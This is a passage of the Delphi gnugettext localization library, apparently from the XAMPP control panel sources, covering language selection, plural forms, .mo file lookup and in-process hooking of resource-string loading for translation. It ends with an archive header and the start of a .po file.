FreeAndNil(TodoList); FreeAndNil(ObjectPropertyIgnoreList); FreeAndNil(DoneList); end; FreeTP_ClassHandlingItems; TP_IgnoreList.Clear; TP_Retranslator := nil; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('----------------------------------------------------------------------'); {$ENDIF} end; procedure TGnuGettextInstance.UseLanguage(LanguageCode: LanguageString); var i, p: Integer; dom: TDomain; l2: string; begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('UseLanguage(''' + LanguageCode + '''); called'); {$ENDIF} if LanguageCode = '' then begin LanguageCode := GGGetEnvironmentVariable('LANG'); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('LANG env variable is ''' + LanguageCode + '''.'); {$ENDIF} {$IFDEF MSWINDOWS} if LanguageCode = '' then begin LanguageCode := GetWindowsLanguage; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Found Windows language code to be ''' + LanguageCode + '''.'); {$ENDIF} end; {$ENDIF} p := pos('.', LanguageCode); if p <> 0 then LanguageCode := LeftStr(LanguageCode, p - 1); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Language code that will be set is ''' + LanguageCode + '''.'); {$ENDIF} end; curlang := LanguageCode; for i := 0 to domainlist.Count - 1 do begin dom := domainlist.Objects[i] as TDomain; dom.SetLanguageCode(curlang); end; l2 := lowercase(LeftStr(curlang, 2)); if (l2 = 'en') or (l2 = 'de') then curGetPluralForm := GetPluralForm2EN else if (l2 = 'hu') or (l2 = 'ko') or (l2 = 'zh') or (l2 = 'ja') or (l2 = 'tr') then curGetPluralForm := GetPluralForm1 else if (l2 = 'fr') or (l2 = 'fa') or (lowercase(curlang) = 'pt_br') then curGetPluralForm := GetPluralForm2FR else if (l2 = 'lv') then curGetPluralForm := GetPluralForm3LV else if (l2 = 'ga') then curGetPluralForm := GetPluralForm3GA else if (l2 = 'lt') then curGetPluralForm := GetPluralForm3LT else if (l2 = 'ru') or (l2 = 'uk') or (l2 = 'hr') then curGetPluralForm := GetPluralForm3RU else if (l2 = 'cs') or (l2 = 'sk') then curGetPluralForm := GetPluralForm3SK else if (l2 = 'pl') then curGetPluralForm := GetPluralForm3PL else if (l2 = 'sl') then curGetPluralForm := GetPluralForm4SL else begin curGetPluralForm := GetPluralForm2EN; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Plural form for the language was not found. English plurality system assumed.'); {$ENDIF} end; WhenNewLanguage(curlang); {$IFDEF DXGETTEXTDEBUG} DebugWriteln(''); {$ENDIF} end; procedure TGnuGettextInstance.TranslateStrings(sl: TStrings; const textdomain: DomainString); var Line: string; i: Integer; s: TStringList; begin if sl.Count > 0 then begin sl.BeginUpdate; try s := TStringList.Create; try s.Assign(sl); for i := 0 to s.Count - 1 do begin Line := s.Strings[i]; if Line <> '' then s.Strings[i] := dgettext(textdomain, Line); end; sl.Assign(s); finally FreeAndNil(s); end; finally sl.EndUpdate; end; end; end; function TGnuGettextInstance.GetTranslatorNameAndEmail: TranslatedUnicodeString; begin Result := GetTranslationProperty('LAST-TRANSLATOR'); end; function TGnuGettextInstance.GetTranslationProperty(const propertyname: ComponentNameString): TranslatedUnicodeString; begin Result := Getdomain(curmsgdomain, DefaultDomainDirectory, curlang).GetTranslationProperty(propertyname); end; function TGnuGettextInstance.dngettext(const szDomain: DomainString; const singular, plural: MsgIdString; Number: Integer) : TranslatedUnicodeString; var org: MsgIdString; trans: TranslatedUnicodeString; idx: Integer; p: Integer; begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('dngettext translation (domain ' + szDomain + ', number is ' + IntToStr(Number) + ') of ' + singular + '/' + plural); {$ENDIF} org := singular + #0 + plural; trans := dgettext(szDomain, org); if org = trans then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Translation was equal to english version. English plural forms assumed.'); {$ENDIF} idx := GetPluralForm2EN(Number) end else idx := curGetPluralForm(Number); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Index ' + IntToStr(idx) + ' will be used'); {$ENDIF} while true do begin p := pos(#0, trans); if p = 0 then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Last translation used: ' + utf8encode(trans)); {$ENDIF} Result := trans; exit; end; if idx = 0 then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Translation found: ' + utf8encode(trans)); {$ENDIF} Result := LeftStr(trans, p - 1); exit; end; delete(trans, 1, p); dec(idx); end; end; function TGnuGettextInstance.dngettext_NoExtract(const szDomain: DomainString; const singular, plural: MsgIdString; Number: Integer) : TranslatedUnicodeString; begin // This one is very useful for translating text in variables. // This can sometimes be necessary, and by using this function, // the source code scanner will not trigger warnings. Result := dngettext(szDomain, singular, plural, Number); end; {$IFNDEF UNICODE} function TGnuGettextInstance.ngettext(const singular, plural: AnsiString; Number: Integer): TranslatedUnicodeString; begin Result := dngettext(curmsgdomain, singular, plural, Number); end; {$ENDIF} function TGnuGettextInstance.ngettext(const singular, plural: MsgIdString; Number: Integer): TranslatedUnicodeString; begin Result := dngettext(curmsgdomain, singular, plural, Number); end; function TGnuGettextInstance.ngettext_NoExtract(const singular, plural: MsgIdString; Number: Integer): TranslatedUnicodeString; begin // This one is very useful for translating text in variables. // This can sometimes be necessary, and by using this function, // the source code scanner will not trigger warnings. Result := ngettext(singular, plural, Number); end; procedure TGnuGettextInstance.WhenNewDomain(const textdomain: DomainString); begin // This is meant to be empty. end; procedure TGnuGettextInstance.WhenNewLanguage(const LanguageID: LanguageString); begin // This is meant to be empty. end; procedure TGnuGettextInstance.WhenNewDomainDirectory(const textdomain: DomainString; const Directory: FilenameString); begin // This is meant to be empty. end; procedure TGnuGettextInstance.GetListOfLanguages(const domain: DomainString; list: TStrings); begin Getdomain(domain, DefaultDomainDirectory, curlang).GetListOfLanguages(list); end; procedure TGnuGettextInstance.bindtextdomainToFile(const szDomain: DomainString; const filename: FilenameString); begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Text domain "' + szDomain + '" is now bound to file named "' + filename + '"'); {$ENDIF} Getdomain(szDomain, DefaultDomainDirectory, curlang).SetFilename(filename); end; procedure TGnuGettextInstance.DebugLogPause(PauseEnabled: boolean); begin {$IFDEF DXGETTEXTDEBUG} DebugLogOutputPaused := PauseEnabled; {$ENDIF} end; procedure TGnuGettextInstance.DebugLogToFile(const filename: FilenameString; append: boolean = false); {$IFDEF DXGETTEXTDEBUG} var fs: TFileStream; marker: AnsiString; {$ENDIF} begin {$IFDEF DXGETTEXTDEBUG} // Create the file if needed if (not FileExists(filename)) or (not append) then fileclose(filecreate(filename)); // Open file fs := TFileStream.Create(filename, fmOpenWrite or fmShareDenyWrite); if append then fs.Seek(0, soFromEnd); // Write header if appending if fs.Position <> 0 then begin marker := sLinebreak + '===========================================================================' + sLinebreak; fs.WriteBuffer(marker[1], length(marker)); end; // Copy the memorystream contents to the file DebugLog.Seek(0, soFromBeginning); fs.CopyFrom(DebugLog, 0); // Make DebugLog point to the filestream FreeAndNil(DebugLog); DebugLog := fs; {$ENDIF} end; {$IFDEF DXGETTEXTDEBUG} procedure TGnuGettextInstance.DebugWriteln(Line: AnsiString); Var Discard: boolean; begin Assert(DebugLogCS <> nil); Assert(DebugLog <> nil); DebugLogCS.BeginWrite; try if DebugLogOutputPaused then exit; if Assigned(fOnDebugLine) then begin Discard := true; fOnDebugLine(self, Line, Discard); If Discard then exit; end; Line := Line + sLinebreak; // Ensure that memory usage doesn't get too big. if (DebugLog is TMemoryStream) and (DebugLog.Position > 1000000) then begin Line := sLinebreak + sLinebreak + sLinebreak + sLinebreak + sLinebreak + 'Debug log halted because memory usage grew too much.' + sLinebreak + 'Specify a filename to store the debug log in or disable debug loggin in gnugettext.pas.' + sLinebreak + sLinebreak + sLinebreak + sLinebreak + sLinebreak; DebugLogOutputPaused := true; end; DebugLog.WriteBuffer(Line[1], length(Line)); finally DebugLogCS.EndWrite; end; end; {$ENDIF} function TGnuGettextInstance.Getdomain(const domain: DomainString; const DefaultDomainDirectory: FilenameString; const curlang: LanguageString): TDomain; // Retrieves the TDomain object for the specified domain. // Creates one, if none there, yet. var idx: Integer; begin idx := domainlist.IndexOf(domain); if idx = -1 then begin Result := TDomain.Create; {$IFDEF DXGETTEXTDEBUG} Result.DebugLogger := DebugWriteln; {$ENDIF} Result.domain := domain; Result.Directory := DefaultDomainDirectory; Result.SetLanguageCode(curlang); domainlist.AddObject(domain, Result); end else begin Result := domainlist.Objects[idx] as TDomain; end; end; function TGnuGettextInstance.LoadResString(ResStringRec: PResStringRec): UnicodeString; {$IFDEF MSWINDOWS} var Len: Integer; {$IFDEF UNICODE} Buffer: array [0 .. 1023] of widechar; {$ELSE} Buffer: array [0 .. 1023] of ansichar; {$ENDIF} {$ENDIF} {$IFDEF LINUX } const ResStringTableLen = 16; type ResStringTable = array [0 .. ResStringTableLen - 1] of LongWord; var Handle: TResourceHandle; Tab: ^ResStringTable; ResMod: HModule; {$ENDIF } begin if ResStringRec = nil then exit; if ResStringRec.Identifier >= 64 * 1024 then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('LoadResString was given an invalid ResStringRec.Identifier'); {$ENDIF} Result := 'ERROR'; exit; end else begin {$IFDEF LINUX} // This works with Unicode if the Linux has utf-8 character set // Result:=System.LoadResString(ResStringRec); ResMod := FindResourceHInstance(ResStringRec^.Module^); Handle := FindResource(ResMod, PAnsiChar(ResStringRec^.Identifier div ResStringTableLen), PAnsiChar(6)); // RT_STRING Tab := pointer(LoadResource(ResMod, Handle)); if Tab = nil then Result := '' else Result := PWideChar(PAnsiChar(Tab) + Tab[ResStringRec^.Identifier mod ResStringTableLen]); {$ENDIF} {$IFDEF MSWINDOWS} if not Win32PlatformIsUnicode then begin SetString(Result, Buffer, LoadString(FindResourceHInstance(ResStringRec.Module^), ResStringRec.Identifier, Buffer, SizeOf(Buffer))) end else begin Result := ''; Len := 0; While length(Result) <= Len + 1 do begin if length(Result) = 0 then SetLength(Result, 1024) else SetLength(Result, length(Result) * 2); Len := LoadStringW(FindResourceHInstance(ResStringRec.Module^), ResStringRec.Identifier, PWideChar(Result), length(Result)); end; SetLength(Result, Len); end; {$ENDIF} end; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Loaded resourcestring: ' + utf8encode(Result)); {$ENDIF} if CreatorThread <> GetCurrentThreadId then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('LoadResString was called from an invalid thread. Resourcestring was not translated.'); {$ENDIF} end else Result := ResourceStringGettext(Result); end; procedure TGnuGettextInstance.RetranslateComponent(AnObject: TComponent; const textdomain: DomainString); var comp: TGnuGettextComponentMarker; begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('======================================================================'); DebugWriteln('RetranslateComponent() was called for a component with name ' + AnObject.name + '.'); {$ENDIF} comp := AnObject.FindComponent('GNUgettextMarker') as TGnuGettextComponentMarker; if comp = nil then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Retranslate was called on an object that has not been translated before. An Exception is being raised.'); {$ENDIF} raise EGGProgrammingError.Create ('Retranslate was called on an object that has not been translated before. Please use TranslateComponent() before RetranslateComponent().'); end else begin if comp.LastLanguage <> curlang then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('The retranslator is being executed.'); {$ENDIF} comp.Retranslator.Execute; end else begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('The language has not changed. The retranslator is not executed.'); {$ENDIF} end; end; comp.LastLanguage := curlang; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('======================================================================'); {$ENDIF} end; procedure TGnuGettextInstance.TP_IgnoreClass(IgnClass: TClass); var cm: TClassMode; i: Integer; begin for i := 0 to TP_ClassHandling.Count - 1 do begin cm := TObject(TP_ClassHandling.Items[i]) as TClassMode; if cm.HClass = IgnClass then raise EGGProgrammingError.Create('You cannot add a class to the ignore list that is already on that list: ' + IgnClass.ClassName + '.'); if IgnClass.InheritsFrom(cm.HClass) then begin // This is the place to insert this class cm := TClassMode.Create; cm.HClass := IgnClass; TP_ClassHandling.insert(i, cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Locally, class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; end; cm := TClassMode.Create; cm.HClass := IgnClass; TP_ClassHandling.Add(cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Locally, class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} end; procedure TGnuGettextInstance.TP_IgnoreClassProperty(IgnClass: TClass; propertyname: ComponentNameString); var cm: TClassMode; i: Integer; begin propertyname := uppercase(propertyname); for i := 0 to TP_ClassHandling.Count - 1 do begin cm := TObject(TP_ClassHandling.Items[i]) as TClassMode; if cm.HClass = IgnClass then begin if Assigned(cm.SpecialHandler) then raise EGGProgrammingError.Create('You cannot ignore a class property for a class that has a handler set.'); cm.PropertiesToIgnore.Add(propertyname); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; if IgnClass.InheritsFrom(cm.HClass) then begin // This is the place to insert this class cm := TClassMode.Create; cm.HClass := IgnClass; cm.PropertiesToIgnore.Add(propertyname); TP_ClassHandling.insert(i, cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Locally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; end; cm := TClassMode.Create; cm.HClass := IgnClass; cm.PropertiesToIgnore.Add(propertyname); TP_GlobalClassHandling.Add(cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Locally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} end; procedure TGnuGettextInstance.FreeTP_ClassHandlingItems; begin while TP_ClassHandling.Count <> 0 do begin TObject(TP_ClassHandling.Items[0]).Free; TP_ClassHandling.delete(0); end; end; {$IFNDEF UNICODE} function TGnuGettextInstance.ansi2wideDTCP(const s: AnsiString): MsgIdString; {$IFDEF MSWindows} var Len: Integer; {$ENDIF} begin {$IFDEF MSWindows} if DesignTimeCodePage = CP_ACP then begin // No design-time codepage specified. Using runtime codepage instead. {$ENDIF} Result := s; {$IFDEF MSWindows} end else begin Len := length(s); if Len = 0 then Result := '' else begin SetLength(Result, Len); Len := MultiByteToWideChar(DesignTimeCodePage, 0, PAnsiChar(s), Len, PWideChar(Result), Len); if Len = 0 then raise EGGAnsi2WideConvError.Create('Cannot convert string to widestring:' + sLinebreak + s); SetLength(Result, Len); end; end; {$ENDIF} end; {$ENDIF} {$IFNDEF UNICODE} function TGnuGettextInstance.dngettext(const szDomain: DomainString; const singular, plural: AnsiString; Number: Integer) : TranslatedUnicodeString; begin Result := dngettext(szDomain, ansi2wideDTCP(singular), ansi2wideDTCP(plural), Number); end; {$ENDIF} { TClassMode } constructor TClassMode.Create; begin PropertiesToIgnore := TStringList.Create; PropertiesToIgnore.Sorted := true; PropertiesToIgnore.Duplicates := dupError; PropertiesToIgnore.CaseSensitive := false; end; destructor TClassMode.Destroy; begin FreeAndNil(PropertiesToIgnore); inherited; end; { TFileLocator } procedure TFileLocator.Analyze; var s: RawByteString; i: Integer; Offset: int64; fs: TFileStream; fi: TEmbeddedFileInfo; filename: FilenameString; filename8bit: RawByteString; const arrch: array [0 .. 43] of ansichar = '6637DB2E-62E1-4A60-AC19-C23867046A89'#0#0#0#0#0#0#0#0; begin // Copy byte by byte, compatible with Delphi 2009 and older SetLength(s, high(arrch) - low(arrch) + 1); for i := 0 to 43 do s[i + 1] := arrch[i]; s := MidStr(s, length(s) - 7, 8); Offset := 0; for i := 8 downto 1 do Offset := Offset shl 8 + ord(s[i]); if Offset = 0 then exit; basedirectory := extractfilepath(ExecutableFilename); try fs := TFileStream.Create(ExecutableFilename, fmOpenRead or fmShareDenyNone); try while true do begin fs.Seek(Offset, soFromBeginning); Offset := ReadInt64(fs); if Offset = 0 then exit; fi := TEmbeddedFileInfo.Create; try fi.Offset := ReadInt64(fs); fi.Size := ReadInt64(fs); SetLength(filename8bit, Offset - fs.Position); fs.ReadBuffer(filename8bit[1], Offset - fs.Position); filename := trim(utf8decode(filename8bit)); if PreferExternal and SysUtils.FileExists(basedirectory + filename) then begin // Disregard the internal version and use the external version instead FreeAndNil(fi); end else filelist.AddObject(filename, fi); except FreeAndNil(fi); raise; end; end; finally FreeAndNil(fs); end; except {$IFDEF DXGETTEXTDEBUG} raise; {$ENDIF} end; end; constructor TFileLocator.Create; begin MoFilesCS := TMultiReadExclusiveWriteSynchronizer.Create; MoFiles := TStringList.Create; filelist := TStringList.Create; {$IFDEF LINUX} filelist.Duplicates := dupError; filelist.CaseSensitive := true; {$ENDIF} MoFiles.Sorted := true; MoFiles.Duplicates := dupError; MoFiles.CaseSensitive := false; {$IFDEF MSWINDOWS} filelist.Duplicates := dupError; filelist.CaseSensitive := false; {$ENDIF} filelist.Sorted := true; end; destructor TFileLocator.Destroy; begin while filelist.Count <> 0 do begin filelist.Objects[0].Free; filelist.delete(0); end; FreeAndNil(filelist); FreeAndNil(MoFiles); FreeAndNil(MoFilesCS); inherited; end; function TFileLocator.FileExists(filename: FilenameString): boolean; var idx: Integer; begin if LeftStr(filename, length(basedirectory)) = basedirectory then begin // Cut off basedirectory if the file is located beneath that base directory filename := MidStr(filename, length(basedirectory) + 1, maxint); end; Result := filelist.Find(filename, idx); end; function TFileLocator.GetMoFile(filename: FilenameString; DebugLogger: TDebugLogger): TMoFile; var fi: TEmbeddedFileInfo; idx: Integer; idxname: FilenameString; Offset, Size: int64; realfilename: FilenameString; begin // Find real filename Offset := 0; Size := 0; realfilename := filename; if LeftStr(filename, length(basedirectory)) = basedirectory then begin filename := MidStr(filename, length(basedirectory) + 1, maxint); idx := filelist.IndexOf(filename); if idx <> -1 then begin fi := filelist.Objects[idx] as TEmbeddedFileInfo; realfilename := ExecutableFilename; Offset := fi.Offset; Size := fi.Size; {$IFDEF DXGETTEXTDEBUG} DebugLogger('Instead of ' + filename + ', using ' + realfilename + ' from offset ' + IntToStr(Offset) + ', size ' + IntToStr(Size)); {$ENDIF} end; end; {$IFDEF DXGETTEXTDEBUG} DebugLogger('Reading .mo data from file ''' + filename + ''''); {$ENDIF} // Find TMoFile object MoFilesCS.BeginWrite; try idxname := realfilename + ' //\\ ' + IntToStr(Offset); if MoFiles.Find(idxname, idx) then begin Result := MoFiles.Objects[idx] as TMoFile; end else begin Result := TMoFile.Create(realfilename, Offset, Size); MoFiles.AddObject(idxname, Result); end; inc(Result.Users); finally MoFilesCS.EndWrite; end; end; function TFileLocator.ReadInt64(str: TStream): int64; begin Assert(SizeOf(Result) = 8); str.ReadBuffer(Result, 8); end; procedure TFileLocator.ReleaseMoFile(mofile: TMoFile); var i: Integer; begin Assert(mofile <> nil); MoFilesCS.BeginWrite; try dec(mofile.Users); if mofile.Users <= 0 then begin i := MoFiles.Count - 1; while i >= 0 do begin if MoFiles.Objects[i] = mofile then begin MoFiles.delete(i); FreeAndNil(mofile); break; end; dec(i); end; end; finally MoFilesCS.EndWrite; end; end; { TTP_Retranslator } constructor TTP_Retranslator.Create; begin list := TList.Create; end; destructor TTP_Retranslator.Destroy; var i: Integer; begin for i := 0 to list.Count - 1 do TObject(list.Items[i]).Free; FreeAndNil(list); inherited; end; procedure TTP_Retranslator.Execute; var i: Integer; sl: TStrings; item: TTP_RetranslatorItem; newvalue: TranslatedUnicodeString; comp: TGnuGettextComponentMarker; ppi: PPropInfo; begin for i := 0 to list.Count - 1 do begin item := TObject(list.Items[i]) as TTP_RetranslatorItem; if item.obj is TComponent then begin comp := TComponent(item.obj).FindComponent('GNUgettextMarker') as TGnuGettextComponentMarker; if Assigned(comp) and (self <> comp.Retranslator) then begin comp.Retranslator.Execute; continue; end; end; if item.obj is TStrings then begin // Since we don't know the order of items in sl, and don't have // the original .Objects[] anywhere, we cannot anticipate anything // about the current sl.Strings[] and sl.Objects[] values. We therefore // have to discard both values. We can, however, set the original .Strings[] // value into the list and retranslate that. sl := TStringList.Create; try sl.Text := item.OldValue; Instance.TranslateStrings(sl, textdomain); (item.obj as TStrings).BeginUpdate; try (item.obj as TStrings).Text := sl.Text; finally (item.obj as TStrings).EndUpdate; end; finally FreeAndNil(sl); end; end else begin newvalue := Instance.dgettext(textdomain, item.OldValue); ppi := GetPropInfo(item.obj, item.Propname); if ppi <> nil then begin SetWideStrProp(item.obj, ppi, newvalue); end else begin {$IFDEF DXGETTEXTDEBUG} Instance.DebugWriteln('ERROR: On retranslation, property disappeared: ' + item.Propname + ' for object of type ' + item.obj.ClassName); {$ENDIF} end; end; end; end; procedure TTP_Retranslator.Remember(obj: TObject; Propname: ComponentNameString; OldValue: TranslatedUnicodeString); var item: TTP_RetranslatorItem; begin item := TTP_RetranslatorItem.Create; item.obj := obj; item.Propname := Propname; item.OldValue := OldValue; list.Add(item); end; { TGnuGettextComponentMarker } destructor TGnuGettextComponentMarker.Destroy; begin FreeAndNil(Retranslator); inherited; end; { THook } constructor THook.Create(OldProcedure, NewProcedure: pointer; FollowJump: boolean = false); { Idea and original code from Igor Siticov } { Modified by Jacques Garcia Vazquez and Lars Dybdahl } begin {$IFNDEF CPU386} raise Exception.Create('This procedure only works on Intel i386 compatible processors.'); {$ENDIF} oldproc := OldProcedure; newproc := NewProcedure; Reset(FollowJump); end; destructor THook.Destroy; begin Shutdown; inherited; end; procedure THook.Disable; begin Assert(PatchPosition <> nil, 'Patch position in THook was nil when Disable was called'); PatchPosition[0] := Original[0]; PatchPosition[1] := Original[1]; PatchPosition[2] := Original[2]; PatchPosition[3] := Original[3]; PatchPosition[4] := Original[4]; end; procedure THook.Enable; begin Assert(PatchPosition <> nil, 'Patch position in THook was nil when Enable was called'); PatchPosition[0] := Patch[0]; PatchPosition[1] := Patch[1]; PatchPosition[2] := Patch[2]; PatchPosition[3] := Patch[3]; PatchPosition[4] := Patch[4]; end; procedure THook.Reset(FollowJump: boolean); var Offset: Integer; {$IFDEF LINUX} p: pointer; pagesize: Integer; {$ENDIF} {$IFDEF MSWindows} ov: Cardinal; {$ENDIF} begin if PatchPosition <> nil then Shutdown; PatchPosition := oldproc; if FollowJump and (Word(oldproc^) = $25FF) then begin // This finds the correct procedure if a virtual jump has been inserted // at the procedure address inc(Integer(PatchPosition), 2); // skip the jump PatchPosition := PAnsiChar(pointer(pointer(PatchPosition)^)^); end; Offset := Integer(newproc) - Integer(pointer(PatchPosition)) - 5; Patch[0] := ansichar($E9); Patch[1] := ansichar(Offset and 255); Patch[2] := ansichar((Offset shr 8) and 255); Patch[3] := ansichar((Offset shr 16) and 255); Patch[4] := ansichar((Offset shr 24) and 255); Original[0] := PatchPosition[0]; Original[1] := PatchPosition[1]; Original[2] := PatchPosition[2]; Original[3] := PatchPosition[3]; Original[4] := PatchPosition[4]; {$IFDEF MSWINDOWS} if not VirtualProtect(pointer(PatchPosition), 5, PAGE_EXECUTE_READWRITE, @ov) then RaiseLastOSError; {$ENDIF} {$IFDEF LINUX} pagesize := sysconf(_SC_PAGE_SIZE); p := pointer(PatchPosition); p := pointer((Integer(p) + pagesize - 1) and not(pagesize - 1) - pagesize); if mprotect(p, pagesize, PROT_READ + PROT_WRITE + PROT_EXEC) <> 0 then RaiseLastOSError; {$ENDIF} end; procedure THook.Shutdown; begin Disable; PatchPosition := nil; end; procedure HookIntoResourceStrings(enabled: boolean = true; SupportPackages: boolean = false); begin HookLoadResString.Reset(SupportPackages); HookLoadStr.Reset(SupportPackages); HookFmtLoadStr.Reset(SupportPackages); if enabled then begin HookLoadResString.Enable; HookLoadStr.Enable; HookFmtLoadStr.Enable; end; end; { TMoFile } function TMoFile.autoswap32(i: Cardinal): Cardinal; var cnv1, cnv2: record case Integer of 0: (arr: array [0 .. 3] of byte); 1: (int: Cardinal); end; begin if doswap then begin cnv1.int := i; cnv2.arr[0] := cnv1.arr[3]; cnv2.arr[1] := cnv1.arr[2]; cnv2.arr[2] := cnv1.arr[1]; cnv2.arr[3] := cnv1.arr[0]; Result := cnv2.int; end else Result := i; end; function TMoFile.CardinalInMem(baseptr: PAnsiChar; Offset: Cardinal): Cardinal; var pc: ^Cardinal; begin inc(baseptr, Offset); pc := pointer(baseptr); Result := pc^; if doswap then autoswap32(Result); end; constructor TMoFile.Create(filename: FilenameString; Offset, Size: int64); var i: Cardinal; nn: Integer; {$IFDEF linux} mofile: TFileStream; {$ENDIF} begin if SizeOf(i) <> 4 then raise EGGProgrammingError.Create('TDomain in gnugettext is written for an architecture that has 32 bit integers.'); {$IFDEF mswindows} // Map the mo file into memory and let the operating system decide how to cache mo := createfile(PChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if mo = INVALID_HANDLE_VALUE then raise EGGIOError.Create('Cannot open file ' + filename); momapping := CreateFileMapping(mo, nil, PAGE_READONLY, 0, 0, nil); if momapping = 0 then raise EGGIOError.Create('Cannot create memory map on file ' + filename); momemoryHandle := MapViewOfFile(momapping, FILE_MAP_READ, 0, 0, 0); if momemoryHandle = nil then begin raise EGGIOError.Create('Cannot map file ' + filename + ' into memory. Reason: ' + GetLastWinError); end; momemory := momemoryHandle + Offset; {$ENDIF} {$IFDEF linux} // Read the whole file into memory mofile := TFileStream.Create(filename, fmOpenRead or fmShareDenyNone); try if Size = 0 then Size := mofile.Size; Getmem(momemoryHandle, Size); momemory := momemoryHandle; mofile.Seek(Offset, soFromBeginning); mofile.ReadBuffer(momemory^, Size); finally FreeAndNil(mofile); end; {$ENDIF} // Check the magic number doswap := false; i := CardinalInMem(momemory, 0); if (i <> $950412DE) and (i <> $DE120495) then raise EGGIOError.Create('This file is not a valid GNU gettext mo file: ' + filename); doswap := (i = $DE120495); // Find the positions in the file according to the file format spec CardinalInMem(momemory, 4); // Read the version number, but don't use it for anything. N := CardinalInMem(momemory, 8); // Get string count O := CardinalInMem(momemory, 12); // Get offset of original strings T := CardinalInMem(momemory, 16); // Get offset of translated strings // Calculate start conditions for a binary search nn := N; startindex := 1; while nn <> 0 do begin nn := nn shr 1; startindex := startindex shl 1; end; startindex := startindex shr 1; startstep := startindex shr 1; end; destructor TMoFile.Destroy; begin {$IFDEF mswindows} UnMapViewOfFile(momemoryHandle); CloseHandle(momapping); CloseHandle(mo); {$ENDIF} {$IFDEF linux} FreeMem(momemoryHandle); {$ENDIF} inherited; end; function TMoFile.gettext(const msgid: RawUtf8String; var found: boolean): RawUtf8String; var i, step: Cardinal; Offset, pos: Cardinal; CompareResult: Integer; msgidptr, a, b: PAnsiChar; abidx: Integer; Size, msgidsize: Integer; begin found := false; msgidptr := PAnsiChar(msgid); msgidsize := length(msgid); // Do binary search i := startindex; step := startstep; while true do begin // Get string for index i pos := O + 8 * (i - 1); Offset := CardinalInMem(momemory, pos + 4); Size := CardinalInMem(momemory, pos); a := msgidptr; b := momemory + Offset; abidx := Size; if msgidsize < abidx then abidx := msgidsize; CompareResult := 0; while abidx <> 0 do begin CompareResult := Integer(byte(a^)) - Integer(byte(b^)); if CompareResult <> 0 then break; dec(abidx); inc(a); inc(b); end; if CompareResult = 0 then CompareResult := msgidsize - Size; if CompareResult = 0 then begin // msgid=s // Found the msgid pos := T + 8 * (i - 1); Offset := CardinalInMem(momemory, pos + 4); Size := CardinalInMem(momemory, pos); SetString(Result, momemory + Offset, Size); found := true; break; end; if step = 0 then begin // Not found Result := msgid; break; end; if CompareResult < 0 then begin // msgids i := i + step; if i > N then i := N; step := step shr 1; end; end; end; var param0: string; initialization {$IFDEF DXGETTEXTDEBUG} {$IFDEF MSWINDOWS} MessageBox(0, 'gnugettext.pas debugging is enabled. Turn it off before releasing this piece of software.', 'Information', MB_OK); {$ENDIF} {$IFDEF LINUX} writeln(stderr, 'gnugettext.pas debugging is enabled. Turn it off before releasing this piece of software.'); {$ENDIF} {$ENDIF} {$IFDEF FPC} {$IFDEF LINUX} SetLocale(LC_ALL, ''); SetCWidestringManager; {$ENDIF LINUX} {$ENDIF FPC} if IsLibrary then begin // Get DLL/shared object filename SetLength(ExecutableFilename, 300); {$IFDEF MSWINDOWS} SetLength(ExecutableFilename, GetModuleFileName(FindClassHInstance(TGnuGettextInstance), PChar(ExecutableFilename), length(ExecutableFilename))); {$ELSE} SetLength(ExecutableFilename, GetModuleFileName(0, PAnsiChar(ExecutableFilename), length(ExecutableFilename))); {$ENDIF} end else ExecutableFilename := Paramstr(0); FileLocator := TFileLocator.Create; FileLocator.Analyze; ResourceStringDomainList := TStringList.Create; ResourceStringDomainList.Add(DefaultTextDomain); ResourceStringDomainListCS := TMultiReadExclusiveWriteSynchronizer.Create; DefaultInstance := TGnuGettextInstance.Create; {$IFDEF MSWINDOWS} Win32PlatformIsUnicode := (Win32Platform = VER_PLATFORM_WIN32_NT); {$ENDIF} // replace Borlands LoadResString with gettext enabled version: {$IFDEF UNICODE} HookLoadResString := THook.Create(@System.LoadResString, @LoadResStringW); {$ELSE} HookLoadResString := THook.Create(@System.LoadResString, @LoadResStringA); {$ENDIF} HookLoadStr := THook.Create(@SysUtils.LoadStr, @SysUtilsLoadStr); HookFmtLoadStr := THook.Create(@SysUtils.FmtLoadStr, @SysUtilsFmtLoadStr); param0 := lowercase(extractfilename(Paramstr(0))); if (param0 <> 'delphi32.exe') and (param0 <> 'kylix') and (param0 <> 'bds.exe') then HookIntoResourceStrings(AutoCreateHooks, false); param0 := ''; finalization FreeAndNil(DefaultInstance); FreeAndNil(ResourceStringDomainListCS); FreeAndNil(ResourceStringDomainList); FreeAndNil(HookFmtLoadStr); FreeAndNil(HookLoadStr); FreeAndNil(HookLoadResString); FreeAndNil(FileLocator); end. xampp-control-panel/ignore.po000066600000016433151723641500012306 0ustar00# Doesn't have any letters #. fMain..puSystray..N2..Caption #: uMain.dfm:3009 #. 